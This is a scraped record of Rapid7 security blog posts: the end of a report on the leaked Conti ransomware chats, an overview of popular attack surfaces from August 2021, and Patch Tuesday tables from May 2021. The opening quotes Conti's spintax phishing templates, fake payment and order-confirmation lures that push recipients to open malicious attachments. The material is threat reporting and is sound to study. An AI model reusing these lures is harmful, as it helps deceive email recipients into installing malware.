afternoon}{!|,|.|} \n{We are contacting you to|This is to|This mail is to} {notify|remind} you {about|regarding} your {debt|unprocessed payment} for {our last|the recent|our recent} {contract|agreement}. All {compensation|payment} {data|information}, {agreement|contract} and prepared legal {documents|documentation} {can be found|are located} in the {file attached|attached file}. \nT: {Missing|Additional} payment {information|details|info} reminder \nD: {Contract|Agreement} 2815/2 {case|claim}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \n{Your payment|Your advance payment|Your obligatory payment|Payment you sent|Payment you made} was {successfully|correctly|timely|properly} {achieved|accomplished|approved|affirmed|received|obtained|collected|processed}. All {required documentation|necessary documents|important documentation|documents you need|details that can be important|essential documents} {can be found|you can find} in the {attached file|file attached}. \nT: {Invoicing|Invoice|Agreement|Contract|Payment} {info|data|information|details} \nD: {Receipt|Bill} {id|ID|Number|number|No.|No.|No|#|##} 3212-inv8\n\n{Greetings|Hello|Good day|Good afternoon}{!|,|} \n{Thank you for|We are thankful for|We are grateful for|Many thanks for} {your|your recent} {on-line order|purchase order|order}. {We|Our financiers have|Our team has|We have|Our shop has} {received|collected|processed|checked} your {payment|advance payment|money transfer|funds transfer} \u041d\u041e\u041c\u0415\u0420 \u041f\u0415\u0420\u0415\u0412\u041e\u0414\u0410. Now we {are and ready to|begin to} {pack|prepare|compose} your {shipment|order|box}. Your {parcel|packet|shipment|box} {will|is going to|would} {arrive|be delivered} to {you|your residence} within {4|5|6|four|five|six} {days|business days}. \n{Total|Full|Whole} {order|purchase|payment} sum: \u0421\u0423\u041c\u041c\u0410 \nYou {can find|will find} {all|full} {relative information|order info|order and payment details} and your {receipt|check} \u041d\u041e\u041c\u0415\u0420 \u0427\u0415\u041a\u0410 {in|in the} {attached file|file attached}. \n{Thank you!|Have a nice day!} \n\u0422\u0415\u041c\u042b: Your {order|purchase|on-line order|last order} \u041d\u041e\u041c\u0415\u0420 \u0417\u0410\u041a\u0410\u0417\u0410 payment {processed|obtained|received} \n\u0410\u0422\u0422\u0410\u0427\u0418: \nord_conf \nfull.details \ncompl_ord_7847 \nbuyer_auth_doc \ninfo_summr \ncustomer_docs \nspec-ed_info\n\n \n_**Additional reading**_\n\n * _[Russia/Ukraine Conflict: What Is Rapid7 Doing to Protect My Organization?](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>)_\n * _[Staying Secure in a Global Cyber Conflict](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/>)_\n * _[Prudent Cybersecurity Preparation for the Potential Russia-Ukraine Conflict](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-03-01T19:15:58", "type": "rapid7blog", "title": "Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0146", "CVE-2020-1472", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-44228"], "modified": "2022-03-01T19:15:58", "id": "RAPID7BLOG:24E0BE5176F6D3963E1824AD4A55019E", "href": "https://blog.rapid7.com/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T01:34:04", "description": "\n\n_See the `Updates` section at the end of this post for new information as it comes to light._\n\nWhether you attended virtually, IRL, or not at all, Black Hat and DEF CON have officially wrapped, and security folks\u2019 brains are replete with fresh information on new (and some not-so-new) vulnerabilities and exploit chains. The \u201chacker summer camp\u201d conferences frequently also highlight attack surface area that may _not_ be net-new \u2014 but that is subjected to renewed and redoubled community interest coming out of Vegas week. See Rapid7\u2019s summaries [here](<https://www.rapid7.com/blog/post/2021/08/05/black-hat-recap-1/>) and [here](<https://www.rapid7.com/blog/post/2021/08/06/black-hat-recap-2/>).\n\nHere\u2019s the specific attack surface area and a few of the exploit chains we\u2019re keeping our eye on right now:\n\n * Orange Tsai stole the show (as always) at Black Hat with a talk on fresh **Microsoft Exchange** attack surface area. All in all, Orange discussed CVEs from [what appears to be four separate attack chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) \u2014including the ProxyLogon exploit chain that made headlines when it hit exposed Exchange servers as a zero-day attack [back in March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) and the \u201cProxyShell\u201d exploit chain, which debuted at Pwn2Own and targets three now-patched CVEs in Exchange. Exchange continues to be a critically important attack surface area, and defenders should keep patched on a top-priority or zero-day basis wherever possible.\n * Print spooler vulnerabilities continue to cause nightmares. DEF CON saw the release of new privilege escalation exploits for Windows Print Spooler, and Black Hat featured a talk by Sangfor Technologies researchers that chronicled both [new Windows Print Spooler vulnerabilities](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) and past patch bypasses for vulns like CVE-2020-1048 (whose patch was bypassed three times). Given that many defenders are still trying to remediate the \u201cPrintNightmare\u201d vulnerability from several weeks ago, it\u2019s fair to say that Windows Print Spooler will remain an important attack surface area to prioritize in future Patch Tuesdays.\n * There\u2019s also a new vulnerability in Pulse Connect Secure VPNs that caught our attention \u2014 the vuln is actually a bypass for CVE-2020-8260, which came out last fall and evidently didn\u2019t completely fade away \u2014 despite the fact that it\u2019s authenticated and requires admin access. With CISA\u2019s warnings about APT attacks against Pulse Connect Secure devices, it\u2019s probably wise to patch CVE-2021-22937 quickly.\n * And finally, the SpecterOps crew gave a highly anticipated Black Hat talk on several new attack techniques that [abuse Active Directory Certificate Services](<https://posts.specterops.io/certified-pre-owned-d95910965cd2>) \u2014 something we covered previously in our summary of the [PetitPotam attack chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>). This is neat research for red teams, and it may well show up on blue teams\u2019 pentest reports.\n\n### Microsoft Exchange ProxyShell chain\n\n**Patches:** Available \n**Threat status:** Possible threat (at least one report of exploitation in the wild)\n\nIt goes without saying that Microsoft Exchange is a high-value, popular attack surface that gets constant attention from threat actors and researchers alike. That attention is increasing yet again after prominent security researcher Orange Tsai gave a talk at Black Hat USA last week revealing details on an attack chain first demonstrated at Pwn2Own. The chain, dubbed \u201cProxyShell,\u201d allows an attacker to take over an unpatched Exchange server. ProxyShell is similar to ProxyLogon (i.e., [CVE-2021-26855](<https://attackerkb.com/assessments/a5c77ede-3824-4176-a955-d6cf9a6a7417>) and [CVE-2021-27065](<https://attackerkb.com/assessments/74177979-e2ef-4078-9f91-993964292cfa>)), which continues to be popular in targeted attacks and opportunistic scans despite the fact that it was patched in March 2021.\n\nTwo of the three vulnerabilities used for ProxyShell were patched in April by Microsoft and the third was patched in July. As of August 9, 2021, private exploits have already been developed, and it\u2019s probably only a matter of time before public exploit code is released, which may allow for broader exploitation of the vulns in this attack chain (in spite of its complexity!). Rapid7 estimates that there are, at least, nearly 75,000 ProxyShell-vulnerable exchange servers online:\n\n\n\nWe strongly recommend that Exchange admins confirm that updates have been applied appropriately; if you haven\u2019t patched yet, you should do so immediately on an emergency basis.\n\nOne gotcha when it comes to Exchange administration is that Microsoft only releases security fixes for the [most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>), so it\u2019s vital to stay up to date with these quarterly releases in order to react quickly when new patches are published.\n\nProxyShell CVEs:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n * [CVE-2021-34523\u200b](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n### Windows Print Spooler \u2014 and more printer woes\n\n**Patches:** Varies by CVE, mostly available \n**Threat status:** Varies by CVE, active and impending\n\nThe Windows Print Spooler was the subject of renewed attention after the premature disclosure of the PrintNightmare vulnerability earlier this summer, followed by new Black Hat and DEF CON talks last week. Among the CVEs discussed were a quartet of 2020 vulns (three of which were bypasses descended from CVE-2020-1048, which has been exploited in the wild since last year), three new remote code execution vulnerabilities arising from memory corruption flaws, and two new local privilege escalation vulnerabilities highlighted by researcher [Jacob Baines](<https://twitter.com/Junior_Baines>). Of this last group, one vulnerability \u2014 CVE-2021-38085 \u2014 remains unpatched.\n\nOn August 11, 2021, Microsoft assigned [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) to the latest Print Spooler remote code execution vulnerability which appears to require local system access and user interaction. Further details are limited at this time. However, as mitigation, Microsoft is continuing to recommend stopping and disabling the Print Spooler service. Even after this latest zero-day vulnerability is patched, we strongly recommend leaving the Print Spooler service disabled wherever possible. Read Rapid7\u2019s [blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) for further details and updates.\n\nWindows Print Spooler and related CVEs:\n\n * [CVE-2020-1048](<https://attackerkb.com/topics/QoQvwrIqEV/cve-2020-1048-windows-print-spooler-elevation-of-privilege-vulnerability?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler presented at Black Hat 2020; exploited in the wild, Metasploit module available)\n * [CVE-2020-1337](<https://attackerkb.com/topics/mEEwlfrTK3/cve-2020-1337?referrer=blog>) (patch bypass for CVE-2020-1048; Metasploit module available)\n * [CVE-2020-17001](<https://attackerkb.com/topics/oGAzAwKy1N/cve-2020-17001?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-17014](<https://attackerkb.com/topics/N9XhrkViyk/cve-2020-17014?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-1300](<https://attackerkb.com/topics/43jdEqsVY1/cve-2020-1300?referrer=blog>) (local privilege escalation technique known as \u201c[EvilPrinter](<https://twitter.com/R3dF09/status/1271485928989528064>)\u201d presented at DEF CON 2020)\n * [CVE-2021-24088](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) (new remote code execution vulnerability in the Windows local spooler, as presented at Black Hat 2021)\n * [CVE-2021-24077](<https://attackerkb.com/topics/wiyGYban1l/cve-2021-24077?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1722](<https://attackerkb.com/topics/v1Qm7veSwf/cve-2021-1722?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1675](<https://attackerkb.com/topics/dI1bxlM0ay/cve-2021-1675?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler patched in June 2021)\n * [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), aka \u201cPrintNightmare\u201d\n * [CVE-2021-35449](<https://attackerkb.com/topics/9sV2bS0OSj/cve-2021-35449?referrer=blog>) (print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-38085](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38085>) (**unpatched** print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) (**unpatched** remote code execution vulnerability; announced August 11, 2021)\n\nCurrently, both [PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) CVE-2021-34527 and CVE-2020-1048 are known to be exploited in the wild. As the list above demonstrates, patching print spooler and related vulns quickly and completely has been a challenge for Microsoft for the past year or so. The multi-step mitigations required for some vulnerabilities also give attackers an advantage. Defenders should harden printer setups wherever possible, including against malicious driver installation.\n\n### Pulse Connect Secure CVE-2021-22937\n\n**Patch:** Available \n**Threat status:** Impending (Exploitation expected soon)\n\nOn Monday, August 2, 2021, Ivanti published [Security Advisory SA44858](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858>) which, among other fixes, includes a fix for CVE-2021-22937 for Pulse Connect Secure VPN Appliances running 9.1R11 or prior. Successful exploitation of this vulnerability, which carries a CVSSv3 score of 9.1, requires the use of an authenticated administrator account to achieve remote code execution (RCE) as user `root`.\n\nPublic proof-of-concept (PoC) exploit code has not been released as of this writing. However, this vulnerability is simply a workaround for [CVE-2020-8260](<https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/%E2%80%8B%E2%80%8Bhttps://attackerkb.com/topics/MToDzANCY4/cve-2020-8260?referrer=search#vuln-details>), an authentication bypass vulnerability that was heavily utilized by attackers, released in October 2020.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has been monitoring the [Exploitation of Pulse Connect Secure Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) demonstrating that attackers have been targeting Ivanti Pulse Connect Secure products for over a year. Due to attacker focus on Pulse Connect Secure products, and especially last year\u2019s CVE-2020-8260, Rapid7 recommends patching CVE-2021-22937 as soon as possible.\n\n### PetitPotam: Windows domain compromise\n\n**Patches:** Available \n**Threat status:** Threat (Exploited in the wild)\n\nIn July 2021, security researcher [Topotam](<https://github.com/topotam>) published a [PoC implementation](<https://github.com/topotam/PetitPotam>) of a novel NTLM relay attack christened \u201cPetitPotam.\u201d The technique used in the PoC allows a remote, unauthenticated attacker to completely take over a Windows domain with the Active Directory Certificate Service (AD CS) running \u2014 including domain controllers. Rapid7 researchers have tested public PoC code against a Windows domain controller setup and confirmed exploitability. One of our [senior researchers](<https://twitter.com/wvuuuuuuuuuuuuu>) summed it up with: "This attack is too easy." You can read Rapid7\u2019s full blog post [here](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>).\n\nOn August 10, 2021, Microsoft released a patch that addresses the PetitPotam NTLM relay attack vector in today's Patch Tuesday. Tracked as [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>), the August 2021 Patch Tuesday security update blocks the affected API calls [OpenEncryptedFileRawA](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>) and [OpenEncryptedFileRawW](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfileraww>) through the LSARPC interface. Windows administrators should prioritize patching domain controllers and will still need to take additional steps listed in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) to ensure their systems are fully mitigated.\n\n### Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to the vulnerabilities in this post with authenticated vulnerability checks. Please note that details haven\u2019t yet been released on CVE-2021-38085 and CVE-2021-36958; therefore, it\u2019s still awaiting analysis and check development.\n\n### Updates\n\n**Pulse Connect Secure CVE-2021-22937** \nOn August 24, 2021, the Cybersecurity & Infrastructure Security Agency (CISA) released [Malware Analysis Report (AR21-236E)](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236e>) which includes indicators of compromise (IOCs) to assist with Pulse Connect Secure investigations.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T17:13:25", "type": "rapid7blog", "title": "Popular Attack Surfaces, August 2021: What You Need to Know", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1048", "CVE-2020-1300", "CVE-2020-1337", "CVE-2020-17001", "CVE-2020-17014", "CVE-2020-8260", "CVE-2021-1675", "CVE-2021-1722", "CVE-2021-22937", "CVE-2021-24077", "CVE-2021-24088", "CVE-2021-26855", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35449", "CVE-2021-36942", "CVE-2021-36958", "CVE-2021-38085"], "modified": "2021-08-12T17:13:25", "id": "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "href": "https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-22T09:01:54", "description": "\n\nHere we are again with another installment of Patch Tuesday. When compared to the past few months this one feels a bit light both in severity and number of vulnerabilities addressed. Microsoft has only released patches for 55 CVEs this month, less than half of the usual volume, with only 4 of them being scored as critical. Let's dive into the details.\n\n## HTTP Protocol Stack Remote Code Execution Vulnerability - [[[CVE-2021-31166](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31207>)](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31166>)](<https://blog.rapid7.com/p/a0284057-0a58-48f2-89f5-a9b1d04661c3/CVE-2021-31166>)\n\nThe hottest vulnerability this month is in the HTTP.sys library. If an attacker has network access to a webserver running on an unpatched asset they may be able to send a specially crafted packet which could result in RCE. This was found internally by Microsoft and has not yet been observed in the wild. However, it is only a matter of time before someone figures out how to craft that special packet and we start to see widespread use against Windows 10 and Windows Server machines. Rated at 9.8, this potentially wormable vulnerability should be a high priority for remediation.\n\n## Hyper-V Remote Code Execution - [CVE-2021-28476](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28476>)\n\nThere is some debate whether this vulnerability deserves its assigned 9.9 severity score. The limited details indicate that the most likely use of this bug is to cause a DoS on the Hyper-V host. This can cause a good amount of trouble for anyone running virtual machines but is not as damaging as the theoretical RCE this vulnerability could provide. In either case this is a good patch to put at the top of the todo-list.\n\n## Exchange Server Security Feature Bypass - [CVE-2021-31207](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31207>)\n\nNot to be outdone, Exchange Server is back again with yet another patch. This one is not nearly as high profile as the recent vulnerability which saw widespread use, but still an important patch to apply given that Exchange Servers are almost always exposed to the internet. There are a few other less severe vulnerabilities this month for Exchange which were disclosed at Pwn2Own in April. We expect to see a continued focus on Exchange Server in the months to come.\n\n## Summary Tables\n\n## Azure Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31936](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31936>) | Microsoft Accessibility Insights for Web Information Disclosure Vulnerability | No | No | 7.4 | Yes \n \n## Browser ESU Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-26419](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26419>) | Scripting Engine Memory Corruption Vulnerability | No | No | 7.5 | Yes \n \n## Developer Tools Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-27068](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27068>) | Visual Studio Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-31213](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31213>) | Visual Studio Code Remote Containers Extension Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31211](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31211>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31214](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31214>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31204](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31204>) | .NET and Visual Studio Elevation of Privilege Vulnerability | No | Yes | 7.3 | No \n \n## Exchange Server Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31209](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31209>) | Microsoft Exchange Server Spoofing Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-31207](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31207>) | Microsoft Exchange Server Security Feature Bypass Vulnerability | No | Yes | 6.6 | Yes \n[CVE-2021-31198](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31198>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-31195](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 6.5 | No \n \n## Microsoft Dynamics Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28461](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28461>) | Dynamics Finance and Operations Cross-site Scripting Vulnerability | No | No | 6.1 | No \n \n## Microsoft Office Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-26421](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26421>) | Skype for Business and Lync Spoofing Vulnerability | No | No | 6.5 | No \n[CVE-2021-26422](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26422>) | Skype for Business and Lync Remote Code Execution Vulnerability | No | No | 7.2 | No \n[CVE-2021-28478](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28478>) | Microsoft SharePoint Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-31172](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31172>) | Microsoft SharePoint Spoofing Vulnerability | No | No | 7.1 | No \n[CVE-2021-26418](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26418>) | Microsoft SharePoint Spoofing Vulnerability | No | No | 4.6 | No \n[CVE-2021-28474](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28474>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-31173](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31173>) | Microsoft SharePoint Server Information Disclosure Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-31181](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31181>) | Microsoft SharePoint Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-31171](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31171>) | Microsoft SharePoint Information Disclosure Vulnerability | No | No | 4.1 | Yes \n[CVE-2021-31175](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31175>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31176](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31176>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31177](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31177>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31179](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31179>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31178](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31178>) | Microsoft Office Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-31180](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31180>) | Microsoft Office Graphics Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31174](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31174>) | Microsoft Excel Information Disclosure Vulnerability | No | No | 5.5 | Yes \n \n## Open Source Software Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31200](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31200>) | Common Utilities Remote Code Execution Vulnerability | No | Yes | 7.2 | Yes \n \n## Windows Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31187](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31187>) | Windows WalletService Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31205](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31205>) | Windows SMB Client Security Feature Bypass Vulnerability | No | No | 4.3 | Yes \n[CVE-2021-31191](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31191>) | Windows Projected File System FS Filter Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-31192](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31192>) | Windows Media Foundation Core Remote Code Execution Vulnerability | No | No | 7.3 | No \n[CVE-2021-31170](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31170>) | Windows Graphics Component Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31185](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31185>) | Windows Desktop Bridge Denial of Service Vulnerability | No | No | 5.5 | No \n[CVE-2021-31165](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31165>) | Windows Container Manager Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31167](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31167>) | Windows Container Manager Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31168](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31168>) | Windows Container Manager Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31169](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31169>) | Windows Container Manager Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31208](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31208>) | Windows Container Manager Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31190](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31190>) | Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28479](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28479>) | Windows CSC Service Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-28465](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28465>) | Web Media Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-31166](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31166>) | HTTP Protocol Stack Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n \n## Windows ESU Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- 